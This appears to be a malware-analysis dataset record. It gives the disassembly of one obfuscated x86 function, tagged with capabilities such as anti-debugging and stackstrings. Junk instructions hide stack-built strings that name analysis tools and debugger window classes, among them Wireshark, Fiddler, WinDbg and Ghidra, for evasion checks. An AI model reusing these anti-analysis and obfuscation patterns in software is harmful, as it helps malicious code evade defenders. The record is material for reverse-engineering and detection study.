Function at 0x796684
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov byte [esp + 0x42b], bl
mov byte [esp + 0x458], 0x57
rcl esi, 0xff
sub si, ax
mov byte [esp + 0x459], 0x54
add si, 0x7001
mov byte [esp + 0x45a], 0x57
cmp cl, 0xa0
mov byte [esp + 0x45b], 0x69
add esi, 0x4bee1233
mov byte [esp + 0x45c], 0x6e
dec si
cmova esi, edi
mov byte [esp + 0x45d], 0x64
bts esi, ecx
test bp, ax
mov byte [esp + 0x45e], cl
bsf esi, eax
mov byte [esp + 0x45f], 0x77
xor esi, ebx
mov byte [esp + 0x460], bl
mov byte [esp + 0x4d0], 0x43
rcl si, 0xf
xadd si, si
mov byte [esp + 0x4d1], 0x50
and si, bp
sar si, 0x16
mov byte [esp + 0x4d2], 0x50
btr esi, 0xf3
mov esi, 0x1129402f
mov byte [esp + 0x4d3], 0x54
movzx esi, ax
btr esi, 0x9a
mov byte [esp + 0x4d4], cl
mov byte [esp + 0x4d5], cl
mov byte [esp + 0x4d6], 0x6c
xadd si, si
cmc
mov byte [esp + 0x4d7], 0x54
rol si, 0xe8
mov byte [esp + 0x4d8], 0x69
sub esi, edi
sal si, 0x3f
mov byte [esp + 0x4d9], 0x70
mov byte [esp + 0x4da], bl
movsx esi, bx
cmp esp, edx
not esi
mov byte [esp + 0x3c4], 0x59
btr esi, esi
test bh, dl
rcl esi, 0xf9
mov byte [esp + 0x3c5], 0x78
mov byte [esp + 0x3c6], 0x53
or esi, 0x155316e7
bts si, bx
mov byte [esp + 0x3c7], cl
not si
xor si, 0xce
shrd si, bx, 0xf9
mov byte [esp + 0x3c8], 0x66
mov byte [esp + 0x3c9], 0x74
mov byte [esp + 0x3ca], bl
rcl esi, 0x6b
btc esi, eax
mov si, ax
mov esi, 0x30
cmc
test ebx, edi
clc
mov word [esp + 0xa4c], si
test ebp, 0x2ab62fd1
cmp ax, di
stc
mov word [esp + 0xa4e], si
clc
mov esi, 0x20
jmp 0x50a610
mov word [esp + 0xa50], si
shld si, bx, 0x26
rcl esi, 0x4f
mov esi, 0x36
test bp, 0x481d
stc
test ebp, ebx
mov word [esp + 0xa52], si
and si, sp
rcr esi, 0xe8
mov esi, 0x38
test dl, 0xf3
stc
jmp 0x76fe80
mov byte [esp + 0x494], 0x57
mov byte [esp + 0x495], 0x69
btc si, di
bt si, bx
sal esi, 0x2c
mov byte [esp + 0x496], 0x72
add si, 0x3a7e
mov byte [esp + 0x497], al
mov byte [esp + 0x498], dl
movzx esi, ax
xadd si, si
mov byte [esp + 0x499], 0x68
mov byte [esp + 0x49a], 0x61
mov byte [esp + 0x49b], 0x72
btc si, 0x46
test di, di
mov byte [esp + 0x49c], 0x6b
not si
mov byte [esp + 0x49d], bl
btc si, bp
and esi, eax
mov byte [esp + 0x390], 0x2e
inc esi
sub esi, ebx
mov byte [esp + 0x391], 0x70
mov byte [esp + 0x392], 0x63
mov byte [esp + 0x393], 0x61
bts si, sp
mov byte [esp + 0x394], 0x70
mov byte [esp + 0x395], bl
shld esi, edx, 8
mov byte [esp + 0x568], 0x43
shr si, 0xa9
sbb esi, 0x267f140a
mov byte [esp + 0x569], 0x61
sub esi, 0x68c2131
add esi, 0x19ca386a
inc si
mov byte [esp + 0x56a], 0x70
and esi, 0x7e692c07
xchg si, si
stc
mov byte [esp + 0x56b], 0x74
mov byte [esp + 0x56c], 0x75
or esi, 0x701bf2
xor esi, 0xdb56ea6
mov byte [esp + 0x56d], 0x72
neg si
mov byte [esp + 0x56e], 0x69
btr si, cx
ror si, 0xea
not si
mov byte [esp + 0x56f], 0x6e
and esi, ebx
mov byte [esp + 0x570], 0x67
mov byte [esp + 0x571], 0x20
sbb si, cx
shrd esi, eax, 0x56
mov byte [esp + 0x572], 0x66
bswap esi
add si, sp
mov byte [esp + 0x573], 0x72
mov byte [esp + 0x574], cl
bts esi, ebx
mov byte [esp + 0x575], 0x6d
mov si, bx
mov byte [esp + 0x576], bl
dec esi
rcl esi, 0xb7
mov byte [esp + 0x40c], 0x46
cmp esp, ebp
or si, cx
mov byte [esp + 0x40d], 0x69
movzx esi, cx
mov byte [esp + 0x40e], 0x64
and si, si
mov byte [esp + 0x40f], 0x64
shr esi, 0x9f
dec esi
mov byte [esp + 0x410], 0x6c
movsx esi, dx
mov byte [esp + 0x411], al
mov byte [esp + 0x412], 0x72
inc esi
mov byte [esp + 0x413], bl
movsx esi, cx
mov byte [esp + 0x5a8], 0x4d
btc si, 0xa0
clc
mov byte [esp + 0x5a9], al
cmp edi, ebx
clc
mov byte [esp + 0x5aa], dl
btr esi, 0x91
bsr si, si
mov byte [esp + 0x5ab], dl
mov byte [esp + 0x5ac], 0x61
cmp al, ah
clc
mov byte [esp + 0x5ad], 0x67
adc si, 0x42e9
adc esi, esi
mov byte [esp + 0x5ae], al
bt esi, 0x70
rcr esi, 0x4d
mov byte [esp + 0x5af], 0x20
shr si, 0xa5
mov byte [esp + 0x5b0], 0x41
sub esi, eax
mov byte [esp + 0x5b1], 0x6e
bswap si
mov byte [esp + 0x5b2], 0x61
bsr si, bx
mov byte [esp + 0x5b3], 0x6c
mov byte [esp + 0x5b4], 0x79
mov byte [esp + 0x5b5], 0x7a
jmp 0x66a4e5
mov word [esp + 0x834], si
xor si, 0x3f24
sal si, 0x52
mov esi, 0x39
test cx, 0x3aea
mov word [esp + 0x836], si
btr esi, esi
bt esi, ebp
add esi, 0x29413e0a
mov esi, 0x20
mov word [esp + 0x838], si
mov esi, 0x30
mov word [esp + 0x83a], si
mov word [esp + 0x83c], si
bt esi, 0xd8
cmp edi, eax
rcl esi, 0xe1
mov esi, 0x20
mov word [esp + 0x83e], si
mov esi, 0x36
cmp al, al
cmc
mov word [esp + 0x840], si
sub esi, 0x9c038a9
mov esi, 0x34
stc
cmp edx, ebp
test dx, ax
mov word [esp + 0x842], si
bts si, ax
mov esi, 0x20
cmp sp, 0x1e0c
mov word [esp + 0x844], si
rol si, 0x45
rcr si, 0x66
movsx esi, cx
mov esi, 0x30
clc
cmp dx, cx
cmc
mov word [esp + 0x846], si
cmp dx, 0x4e92
test dh, 0xdb
stc
mov word [esp + 0x848], si
mov esi, 0x20
mov word [esp + 0x84a], si
cmovns si, cx
mov esi, 0x36
cmp bh, 0xef
mov word [esp + 0x84c], si
mov si, ax
inc esi
rcr si, 0x37
mov esi, 0x46
cmc
mov word [esp + 0x84e], si
btr si, 0x50
shld esi, edx, 0x28
mov esi, 0x20
clc
mov word [esp + 0x850], si
neg esi
adc esi, 0x4d91eb1
not esi
mov esi, 0x30
test di, 0x3070
mov word [esp + 0x852], si
test ax, di
clc
mov word [esp + 0x854], si
sub esi, 0x4533772b
cmc
mov esi, 0x20
jmp 0x59f4d6
mov byte [esp + 0x4fd], 0x78
test esi, 0x534c0863
mov byte [esp + 0x4fe], 0x74
stc
cmc
cmp sp, 0x6bbe
mov byte [esp + 0x4ff], bl
clc
stc
mov byte [esp + 0x29c], 0x2e
test edi, esi
jmp 0x86eba4
mov byte [esp + 0x60d], 0x56
mov dl, cl
btr si, 0xc4
rcl dl, 0xfb
mov byte [esp + 0x60e], 0x61
jmp 0x549a38
mov byte [esp + 0x598], 0x74
mov byte [esp + 0x599], 0x72
cmc
cmp si, 0x15f
mov byte [esp + 0x59a], 0x61
jmp 0x7ba6f4
mov byte [esp + 0x60f], 0x6c
and si, 0x2c1c
sal dl, 0xb7
mov byte [esp + 0x610], 0x75
or esi, 0x65b95369
mov byte [esp + 0x611], al
mov byte [esp + 0x612], 0x43
mov byte [esp + 0x613], 0x68
bsf esi, esi
shl dl, cl
mov byte [esp + 0x614], 0x61
rol dl, 0x20
mov byte [esp + 0x615], 0x6e
dec esi
and dl, 0xe8
mov byte [esp + 0x616], 0x67
bswap esi
mov byte [esp + 0x617], al
mov byte [esp + 0x618], 0x46
mov byte [esp + 0x619], cl
stc
mov byte [esp + 0x61a], 0x72
xor si, cx
bswap si
or esi, 0x1443642f
mov byte [esp + 0x61b], 0x6d
inc si
mov byte [esp + 0x61c], bl
neg dl
mov byte [esp + 0x488], 0x72
inc si
mov byte [esp + 0x489], 0x61
mov byte [esp + 0x48a], 0x70
bsr esi, ecx
test dl, bl
mov byte [esp + 0x48b], 0x68
mov dl, 0x59
mov byte [esp + 0x48c], 0x20
mov byte [esp + 0x48d], 0x2d
bts esi, edi
mov byte [esp + 0x48e], 0x20
jmp 0x77c200
mov byte [esp + 0x4f9], al
test esp, ebp
mov byte [esp + 0x4fa], 0x72
cmc
test edi, edi
clc
mov byte [esp + 0x4fb], 0x2e
test cx, 0xb34
mov byte [esp + 0x4fc], 0x74
jmp 0x53d9eb
mov word [esp + 0x85e], si
mov word [esp + 0x860], si
sub esi, eax
mov esi, 0x20
mov word [esp + 0x862], si
cmovbe esi, edx
movzx esi, bx
mov esi, 0x30
test ch, 0x51
clc
cmp ebp, 0x24592f84
mov word [esp + 0x864], si
mov word [esp + 0x866], si
xchg esi, esi
bswap si
mov esi, 0x20
test edi, 0x27fd0f93
mov word [esp + 0x868], si
mov esi, 0x30
cmp di, 0x1277
mov word [esp + 0x86a], si
test si, 0x552d
mov word [esp + 0x86c], si
cmp edx, esp
cmp edi, 0x2d1452bc
jmp 0x5ad61f
mov word [esp + 0x802], si
btc si, 0x70
ror si, 0x24
mov byte [esp + 0x3bc], 0x4c
btc si, sp
bt esi, ecx
mov byte [esp + 0x3bd], 0x69
mov byte [esp + 0x3be], 0x6e
cmp cl, al
bsf si, si
mov byte [esp + 0x3bf], 0x70
xchg si, si
mov byte [esp + 0x3c0], 0x72
mov byte [esp + 0x3c1], cl
test sp, bx
mov byte [esp + 0x3c2], bl
mov byte [esp + 0x3d4], 0x4c
bsf si, si
mov byte [esp + 0x3d5], 0x69
inc esi
mov byte [esp + 0x3d6], 0x6e
rcl si, 0xc3
or esi, 0x6e2f6360
movsx esi, cx
mov byte [esp + 0x3d7], 0x50
xchg si, si
bswap esi
mov byte [esp + 0x3d8], 0x72
rol si, 0xe4
btr esi, esp
mov byte [esp + 0x3d9], cl
adc esi, 0x63d70aa4
mov byte [esp + 0x3da], bl
and esi, ebx
mov byte [esp + 0x4b8], 0x48
and si, di
xor esi, 0x5b5273d2
mov si, 0x6505
mov byte [esp + 0x4b9], 0x61
mov byte [esp + 0x4ba], 0x64
sbb esi, edx
bsf esi, edi
mov byte [esp + 0x4bb], al
mov byte [esp + 0x4bc], dl
ror esi, 0x96
or si, 0x3dc5
mov si, 0x52d7
mov byte [esp + 0x4bd], 0x32
stc
mov byte [esp + 0x4be], 0x2e
cmp edx, 0x35ad002d
bts si, dx
mov byte [esp + 0x4bf], al
mov byte [esp + 0x4c0], 0x78
sub esi, 0x44567b2c
or si, di
adc esi, 0x3f081499
mov byte [esp + 0x4c1], al
mov byte [esp + 0x4c2], bl
bt esi, edx
sar esi, 0x76
not esi
mov byte [esp + 0x538], 0x41
ror esi, 0x62
mov byte [esp + 0x539], 0x31
bsr si, dx
mov si, 0x2159
test sp, 0x3eec
mov byte [esp + 0x53a], 0x32
mov byte [esp + 0x53b], 0x30
cmc
xor esi, 0x2479194f
sub si, sp
mov byte [esp + 0x53c], 0x39
mov byte [esp + 0x53d], 0x32
mov byte [esp + 0x53e], 0x37
bsr esi, esp
adc esi, 0x4cce1408
mov byte [esp + 0x53f], 0x30
mov si, sp
mov byte [esp + 0x540], 0x31
movzx esi, di
mov byte [esp + 0x541], 0x2e
xor esi, 0x137738d0
mov byte [esp + 0x542], 0x64
sub esi, 0x461f478d
mov byte [esp + 0x543], 0x6c
or si, si
btc si, dx
mov byte [esp + 0x544], 0x6c
ror si, 0xee
bts si, cx
mov byte [esp + 0x545], bl
ror esi, 0xf8
mov byte [esp + 0x528], 0x41
and si, 0x727e
or si, 0x1298
mov byte [esp + 0x529], 0x31
neg esi
mov byte [esp + 0x52a], 0x33
xor esi, 0x157f4605
mov byte [esp + 0x52b], 0x30
mov byte [esp + 0x52c], 0x33
or si, bx
rcl esi, 0x53
bt esi, ecx
mov byte [esp + 0x52d], 0x32
mov byte [esp + 0x52e], 0x37
stc
mov byte [esp + 0x52f], 0x30
mov byte [esp + 0x530], 0x31
xor si, 0x2637
mov byte [esp + 0x531], 0x2e
btr esi, 0xbc
rcl si, 0x4e
mov byte [esp + 0x532], 0x64
not si
mov byte [esp + 0x533], 0x6c
bsf esi, ecx
shrd si, si, 0xab
xor esi, 0xeaa59d7
mov byte [esp + 0x534], 0x6c
sar si, 0xf2
mov byte [esp + 0x535], bl
mov byte [esp + 0x548], 0x41
jmp 0x5a4cc8
mov word [esp + 0x8e0], si
cmp di, 0x7918
mov word [esp + 0x8e2], si
mov esi, 0x20
mov word [esp + 0x8e4], si
bswap si
sub esi, 0x483b5cfb
mov esi, 0x30
cmp ebx, 0x1d393334
mov word [esp + 0x8e6], si
clc
test ch, 0xd0
mov word [esp + 0x8e8], si
cmp cx, 0x62c
cmc
sub esi, esi
mov word [esp + 0x8ea], si
or esi, 0x477d28ec
sbb esi, 0x7d370fc2
mov esi, 0x38
jmp 0x7d4cb9
mov word [esp + 0x856], si
mov esi, 0x36
mov word [esp + 0x858], si
sub esi, 0x5a8b7101
bt esi, 0x3a
mov esi, 0x45
clc
mov word [esp + 0x85a], si
or esi, 0x672c3ab2
mov esi, 0x20
mov word [esp + 0x85c], si
bswap esi
shl esi, 0xac
bt esi, ecx
mov esi, 0x30
jmp 0x56ba47
mov byte [esp + 0x549], 0x31
mov byte [esp + 0x54a], 0x33
movsx esi, bx
cmc
mov byte [esp + 0x54b], 0x30
mov byte [esp + 0x54c], 0x38
dec si
sar si, 0x71
mov byte [esp + 0x54d], 0x31
sub si, cx
sbb si, 0x3896
rol si, 0x53
mov byte [esp + 0x54e], 0x39
mov byte [esp + 0x54f], 0x30
clc
mov byte [esp + 0x550], 0x31
btr esi, 0x7f
jmp 0x7b390f
xor esi, esi
cmp edi, esi
stc
mov word [esp + 0x86e], si
mov esi, 0x34
test bh, dl
mov word [esp + 0x874], si
adc si, 0x2b3
rcl si, 0x2b
not esi
mov esi, 0x43
cmp bp, dx
mov word [esp + 0x876], si
test bp, bx
sbb si, bx
mov esi, 0x20
cmp esi, 0x67bc39cc
mov word [esp + 0x878], si
btr si, 0x70
mov esi, 0x30
cmp esp, 0x73c4693
mov word [esp + 0x87a], si
cmp edx, edx
mov word [esp + 0x87c], si
bsf si, dx
mov esi, 0x20
cmc
cmp cx, di
mov word [esp + 0x87e], si
mov esi, 0x36
mov word [esp + 0x880], si
bts si, ax
mov esi, 0x46
stc
test bx, 0x3780
cmp ebp, 0x6b58167f
mov word [esp + 0x882], si
stc
btr esi, 0x51
mov esi, 0x20
mov word [esp + 0x884], si
mov esi, 0x30
clc
test cx, 0x289c
mov word [esp + 0x886], si
cmp ch, cl
test bp, ax
mov word [esp + 0x888], si
mov esi, 0x20
cmp si, 0x104c
mov word [esp + 0x88a], si
mov esi, 0x36
cmp ebx, ebp
mov word [esp + 0x88c], si
cmp esi, ebp
sal si, 0x49
mov esi, 0x37
mov word [esp + 0x88e], si
bswap esi
shr esi, 0x12
mov esi, 0x20
cmp dh, dl
cmp dl, 0x64
mov word [esp + 0x890], si
mov esi, 0x30
stc
clc
test dx, ax
mov word [esp + 0x892], si
cmp ecx, 0x6aec30f5
cmc
mov word [esp + 0x894], si
jmp 0x797295
mov byte [esp + 0x2d1], al
mov byte [esp + 0x2d2], 0x6d
test esp, 0x503f3a26
mov byte [esp + 0x2d3], cl
stc
test bx, 0x3b4
mov byte [esp + 0x2d4], 0x2e
mov byte [esp + 0x2d5], cl
clc
mov byte [esp + 0x2d6], 0x63
cmp al, bh
mov byte [esp + 0x2d7], 0x6b
mov byte [esp + 0x2d8], bl
test cx, bp
stc
mov byte [esp + 0x340], cl
stc
mov byte [esp + 0x341], 0x6c
test esp, 0x727d4802
mov byte [esp + 0x342], 0x64
cmp ebx, esi
stc
mov byte [esp + 0x343], 0x6c
test ebx, ecx
mov byte [esp + 0x344], 0x69
test bx, 0x5bdb
mov byte [esp + 0x345], 0x6e
stc
mov byte [esp + 0x346], al
cmp esp, 0x28865f61
mov byte [esp + 0x347], 0x61
test edi, ebx
cmc
clc
mov byte [esp + 0x348], 0x67
mov byte [esp + 0x349], al
mov byte [esp + 0x34a], 0x2e
mov byte [esp + 0x34b], al
mov byte [esp + 0x34c], 0x78
test ebp, esp
mov byte [esp + 0x34d], al
mov byte [esp + 0x34e], bl
mov byte [esp + 0x2ac], 0x4b
stc
cmp bx, 0xe2d
mov byte [esp + 0x2ad], al
jmp 0x7e7e2f
mov byte [esp + 0x2ca], 0x6b
bsr esi, edx
mov byte [esp + 0x2cb], 0x2e
xadd esi, esi
mov byte [esp + 0x2cc], 0x64
mov si, cx
test di, cx
mov byte [esp + 0x2cd], 0x6c
dec esi
rcr esi, 0x4a
mov byte [esp + 0x2ce], 0x6c
mov byte [esp + 0x2cf], bl
jmp 0x52e6a6
mov esi, 0x20
mov word [esp + 0x8a2], si
jmp 0x768372
mov word [esp + 0x8bc], si
mov esi, 0x3b90605d
bswap esi
mov esi, 0x34
cmc
test ax, 0x2a62
mov word [esp + 0x8be], si
mov esi, 0x20
jmp 0x7aa785
mov word [esp + 0x7f6], si
xadd esi, esi
mov esi, 0x36
cmc
clc
mov word [esp + 0x7f8], si
cmc
mov esi, 0x33080626
or esi, ebx
mov esi, 0x35
clc
stc
mov word [esp + 0x7fa], si
mov esi, 0x20
cmc
mov word [esp + 0x7fc], si
sbb si, 0x7329
xadd esi, esi
shrd esi, edx, 0x89
mov esi, 0x30
stc
cmp bp, 0x4f0d
mov word [esp + 0x7fe], si
mov word [esp + 0x800], si
test dh, 0xb6
cmp dh, 0x29
cmc
xor esi, esi
jmp 0x571ab3
mov byte [esp + 0x66d], 0x75
mov byte [esp + 0x66e], 0x61
xchg esi, esi
mov byte [esp + 0x66f], 0x6c
btc esi, 0x51
mov byte [esp + 0x670], 0x20
mov esi, edx
rol si, 0xb7
add si, ax
mov byte [esp + 0x671], 0x42
mov byte [esp + 0x672], 0x61
mov byte [esp + 0x673], dl
sal esi, 0xf2
bts si, bp
or esi, edx
mov byte [esp + 0x674], 0x69
xor esi, 0x75c5240f
stc
mov byte [esp + 0x675], 0x63
not si
mov byte [esp + 0x676], 0x20
mov byte [esp + 0x677], 0x5b
mov byte [esp + 0x678], bl
mov byte [esp + 0x634], 0x77
xor si, cx
btc esi, 0x55
mov byte [esp + 0x635], 0x6e
inc esi
cmovb esi, edx
mov byte [esp + 0x636], 0x64
movzx esi, ax
cmp esi, 0x62e80949
rol esi, 0x6a
mov byte [esp + 0x637], 0x63
mov byte [esp + 0x638], 0x6c
mov byte [esp + 0x639], 0x61
bswap esi
btc si, cx
mov byte [esp + 0x63a], dl
cmp bl, dl
mov byte [esp + 0x63b], dl
xor si, 0x40f6
and esi, 0x7334626a
mov byte [esp + 0x63c], 0x5f
mov byte [esp + 0x63d], 0x64
mov esi, 0x1c37562a
mov byte [esp + 0x63e], al
btc esi, 0xee
mov byte [esp + 0x63f], dl
mov byte [esp + 0x640], 0x6b
cmp dl, bl
mov byte [esp + 0x641], al
test esp, ecx
mov byte [esp + 0x642], 0x64
shr si, 0xd2
movsx esi, sp
mov byte [esp + 0x643], 0x5f
mov byte [esp + 0x644], 0x67
sar si, 0xf2
mov byte [esp + 0x645], dl
stc
mov byte [esp + 0x646], 0x6b
shr si, 0x86
mov byte [esp + 0x647], bl
btc si, 0x5e
and esi, edx
mov byte [esp + 0x47c], 0x49
neg esi
rcr si, 0x30
not esi
mov byte [esp + 0x47d], 0x44
shl esi, 0x80
mov byte [esp + 0x47e], 0x45
mov byte [esp + 0x47f], 0x4f
mov byte [esp + 0x480], 0x77
mov byte [esp + 0x481], 0x6e
xor si, 0x58c
mov esi, eax
mov byte [esp + 0x482], al
mov byte [esp + 0x483], 0x72
sar si, 0xd1
jmp 0x7896d6
mov byte [esp + 0x5b6], al
rcl esi, 0xa2
inc esi
mov byte [esp + 0x5b7], 0x72
btc esi, ebx
bts si, bx
mov byte [esp + 0x5b8], bl
cmp bp, ax
mov byte [esp + 0x518], 0x53
adc si, si
mov byte [esp + 0x519], 0x79
mov byte [esp + 0x51a], dl
mov byte [esp + 0x51b], 0x69
mov byte [esp + 0x51c], 0x6e
cmp ebp, 0x7654083e
or esi, 0x6cf04e04
mov byte [esp + 0x51d], 0x74
mov byte [esp + 0x51e], al
cmp edx, 0x4ec411a7
mov byte [esp + 0x51f], 0x72
not si
sal si, 0xc6
mov byte [esp + 0x520], 0x6e
bt esi, 0x96
btr esi, ebx
test al, 0x8e
mov byte [esp + 0x521], 0x61
mov byte [esp + 0x522], 0x6c
movzx esi, ax
neg esi
mov byte [esp + 0x523], dl
sub esi, 0x13fe1fc1
add esi, 0x5744557a
mov byte [esp + 0x524], bl
mov byte [esp + 0x50c], 0x4e
dec si
mov byte [esp + 0x50d], al
mov byte [esp + 0x50e], 0x74
mov byte [esp + 0x50f], 0x42
and si, 0x69c7
and esi, ebp
mov byte [esp + 0x510], 0x61
mov byte [esp + 0x511], 0x6c
movsx esi, dx
mov byte [esp + 0x512], 0x61
bsr esi, edi
mov byte [esp + 0x513], 0x6e
rol si, 0xf2
rcr esi, 0x48
mov byte [esp + 0x514], 0x63
mov si, 0x4969
mov byte [esp + 0x515], al
bswap esi
shrd esi, ebp, 0xba
mov byte [esp + 0x516], 0x72
mov byte [esp + 0x517], bl
mov byte [esp + 0x384], 0x46
bswap esi
cmovp si, bp
cmp esi, ecx
mov byte [esp + 0x385], 0x69
cmova si, si
inc esi
mov byte [esp + 0x386], 0x6c
mov esi, 0x2d0e3500
cmp dx, sp
mov byte [esp + 0x387], al
inc esi
sal si, 0xe0
mov byte [esp + 0x388], 0x4d
and si, 0x15dc
mov byte [esp + 0x389], cl
add esi, edx
and esi, ebp
btc esi, ebx
mov byte [esp + 0x38a], 0x6e
shrd esi, esi, 0xf1
mov byte [esp + 0x38b], 0x69
cmp di, dx
mov si, 0x5741
sub esi, 0x3aad271b
mov byte [esp + 0x38c], 0x74
stc
mov byte [esp + 0x38d], cl
mov esi, 0x36b1517e
mov byte [esp + 0x38e], 0x72
sbb esi, 0x7ed84df0
mov byte [esp + 0x38f], bl
mov byte [esp + 0x620], 0x4d
neg esi
mov byte [esp + 0x621], 0x61
cmovl si, sp
mov byte [esp + 0x622], 0x68
btc esi, esp
mov byte [esp + 0x623], cl
mov byte [esp + 0x624], 0x62
sal si, 0x36
mov byte [esp + 0x625], 0x69
shrd si, bp, 0x6d
bt si, di
movsx esi, ax
mov byte [esp + 0x626], 0x57
bswap si
mov byte [esp + 0x627], 0x69
xor esi, 0x548d642a
cmp al, 0x2b
mov byte [esp + 0x628], 0x6e
mov byte [esp + 0x629], 0x64
sar esi, 0x1a
neg esi
movzx esi, cx
mov byte [esp + 0x62a], cl
mov byte [esp + 0x62b], 0x77
xor esi, 0x6b0b2917
bswap esi
mov byte [esp + 0x62c], 0x43
neg esi
mov byte [esp + 0x62d], 0x6c
stc
mov byte [esp + 0x62e], 0x61
bts esi, esp
mov byte [esp + 0x62f], dl
and esi, 0x3a536bd8
mov byte [esp + 0x630], dl
shrd si, ax, 0xa6
btr esi, edi
mov byte [esp + 0x631], bl
mov byte [esp + 0x3cc], 0x57
btc si, 0x6b
ror esi, 0x40
mov byte [esp + 0x3cd], 0x69
mov byte [esp + 0x3ce], 0x6e
rcl esi, 0xda
test si, 0x6b05
mov byte [esp + 0x3cf], 0x44
mov byte [esp + 0x3d0], 0x62
bts si, di
mov byte [esp + 0x3d1], 0x67
and esi, 0x4feb2bc0
mov byte [esp + 0x3d2], bl
mov byte [esp + 0x4e8], 0x47
mov byte [esp + 0x4e9], 0x68
test edx, eax
mov byte [esp + 0x4ea], cl
mov byte [esp + 0x4eb], dl
mov byte [esp + 0x4ec], 0x74
mov byte [esp + 0x4ed], 0x43
bts si, bx
shr si, 0x58
mov byte [esp + 0x4ee], 0x6c
mov byte [esp + 0x4ef], 0x61
mov byte [esp + 0x4f0], dl
shl si, 0xd6
mov byte [esp + 0x4f1], dl
mov byte [esp + 0x4f2], bl
xadd esi, esi
mov byte [esp + 0x5d0], 0x57
mov byte [esp + 0x5d1], 0x69
mov byte [esp + 0x5d2], 0x6e
bts esi, ebp
movzx esi, cx
mov byte [esp + 0x5d3], 0x44
add esi, ebx
btr si, bp
mov byte [esp + 0x5d4], 0x62
xadd si, si
mov byte [esp + 0x5d5], 0x67
cmovb si, cx
sbb esi, ebx
mov byte [esp + 0x5d6], 0x46
mov byte [esp + 0x5d7], 0x72
mov byte [esp + 0x5d8], 0x61
shrd si, bx, 0x3b
or si, 0x1869
mov byte [esp + 0x5d9], 0x6d
xor si, sp
mov byte [esp + 0x5da], al
and si, 0x3744
btr si, sp
mov byte [esp + 0x5db], 0x43
btr si, di
mov byte [esp + 0x5dc], 0x6c
mov byte [esp + 0x5dd], 0x61
sar si, 0xd8
xchg si, si
movsx esi, di
mov byte [esp + 0x5de], dl
adc esi, 0x4c533015
bts si, sp
btc esi, ebx
mov byte [esp + 0x5df], dl
not si
mov byte [esp + 0x5e0], bl
or esi, 0x60547029
mov byte [esp + 0x5f8], 0x43
bt si, 0xe7
bsr si, bp
rcl esi, 0x7e
mov byte [esp + 0x5f9], 0x69
movsx esi, bx
bts si, bx
mov byte [esp + 0x5fa], 0x63
rcl si, 0x75
mov byte [esp + 0x5fb], al
mov byte [esp + 0x5fc], 0x72
movzx esi, bx
mov byte [esp + 0x5fd], cl
mov byte [esp + 0x5fe], 0x55
sbb esi, esp
mov byte [esp + 0x5ff], 0x49
mov si, 0x7bd4
shl esi, 0x52
ror si, 0x4e
mov byte [esp + 0x600], 0x57
mov byte [esp + 0x601], 0x6e
mov byte [esp + 0x602], 0x64
mov byte [esp + 0x603], 0x46
ror esi, 0x31
mov si, 0x18da
test bx, sp
mov byte [esp + 0x604], 0x72
bsf si, dx
mov byte [esp + 0x605], 0x61
mov byte [esp + 0x606], 0x6d
movzx esi, cx
mov byte [esp + 0x607], al
rcr si, 0x1a
mov byte [esp + 0x608], bl
sbb esi, edx
adc si, cx
mov byte [esp + 0x368], 0x64
inc si
btr si, 0xb7
mov byte [esp + 0x369], al
sub si, dx
bsr si, ax
mov byte [esp + 0x36a], 0x76
shl si, 0x1e
bts esi, edi
mov esi, ebx
mov byte [esp + 0x36b], al
sar esi, 0x59
rol esi, 0xbf
mov byte [esp + 0x36c], 0x6e
xchg esi, esi
mov byte [esp + 0x36d], 0x76
bswap esi
sub esi, 0x7d5164f9
mov byte [esp + 0x36e], 0x2e
mov byte [esp + 0x36f], al
rcr si, 0xdd
mov byte [esp + 0x370], 0x78
bswap esi
mov byte [esp + 0x371], al
bts esi, esp
cmp esp, ecx
mov byte [esp + 0x372], bl
dec si
add si, dx
mov byte [esp + 0x4dc], 0x77
not esi
rcl si, 0x48
mov byte [esp + 0x4dd], 0x69
shl esi, 0xc5
sub esi, ebp
and esi, 0x6385590f
mov byte [esp + 0x4de], 0x6e
mov byte [esp + 0x4df], 0x64
cmovp si, dx
btr esi, edi
mov byte [esp + 0x4e0], 0x62
movsx esi, sp
mov byte [esp + 0x4e1], 0x67
mov byte [esp + 0x4e2], 0x2e
rol si, 0x68
ror esi, 0xc
mov byte [esp + 0x4e3], al
cmp di, dx
shld si, bx, 0xfa
and si, sp
mov byte [esp + 0x4e4], 0x78
bts esi, eax
mov byte [esp + 0x4e5], al
btr si, ax
rcr esi, 0xb9
mov byte [esp + 0x4e6], bl
mov byte [esp + 0x558], 0x44
sub esi, 0x5d8b284a
btr si, 0x4e
mov byte [esp + 0x559], 0x62
mov byte [esp + 0x55a], 0x67
bt si, 0x2a
btc esi, edi
mov byte [esp + 0x55b], 0x58
mov byte [esp + 0x55c], 0x2e
xor si, 0x54c3
rcr esi, 0xa5
mov byte [esp + 0x55d], 0x53
bt si, 0x2c
mov byte [esp + 0x55e], 0x68
sar si, 0xb5
cmova esi, esp
mov byte [esp + 0x55f], al
movzx esi, cx
and esi, edx
mov byte [esp + 0x560], 0x6c
mov byte [esp + 0x561], 0x6c
and esi, ecx
btc si, di
inc esi
mov byte [esp + 0x562], 0x2e
sal si, 0x89
sub esi, ecx
mov byte [esp + 0x563], al
btr esi, 0x65
mov byte [esp + 0x564], 0x78
and esi, 0x2af457b5
mov byte [esp + 0x565], al
xadd si, si
add esi, 0x504f4b07
test ax, sp
mov byte [esp + 0x566], bl
mov byte [esp + 0x660], 0x4d
cmp si, 0x535
mov byte [esp + 0x661], 0x69
mov byte [esp + 0x662], 0x63
mov byte [esp + 0x663], 0x72
sal esi, 0x6d
bswap si
mov byte [esp + 0x664], cl
neg esi
mov byte [esp + 0x665], dl
shl esi, 0x70
add si, 0x3bbf
xor si, 0x59d5
mov byte [esp + 0x666], cl
and si, bx
dec si
btc si, 0x7e
mov byte [esp + 0x667], 0x66
mov esi, edi
mov byte [esp + 0x668], 0x74
mov byte [esp + 0x669], 0x20
or esi, 0x7c3b4ef4
bt si, 0xb2
mov byte [esp + 0x66a], 0x56
ror si, 0xae
and si, 0x7e76
btr esi, 0xd6
mov byte [esp + 0x66b], 0x69
mov byte [esp + 0x66c], dl
jmp 0x669dff
mov word [esp + 0x92a], si
cmp cx, bp
shrd esi, edx, 0x91
mov esi, 0x20
stc
clc
mov word [esp + 0x92c], si
mov esi, 0x30
cmp edi, edx
mov word [esp + 0x92e], si
stc
mov word [esp + 0x930], si
cmc
xor esi, esi
cmp ecx, esp
test bx, 0x328d
mov word [esp + 0x932], si
mov byte [esp + 0x27c], 0x53
mov byte [esp + 0x27d], al
cmp bh, ah
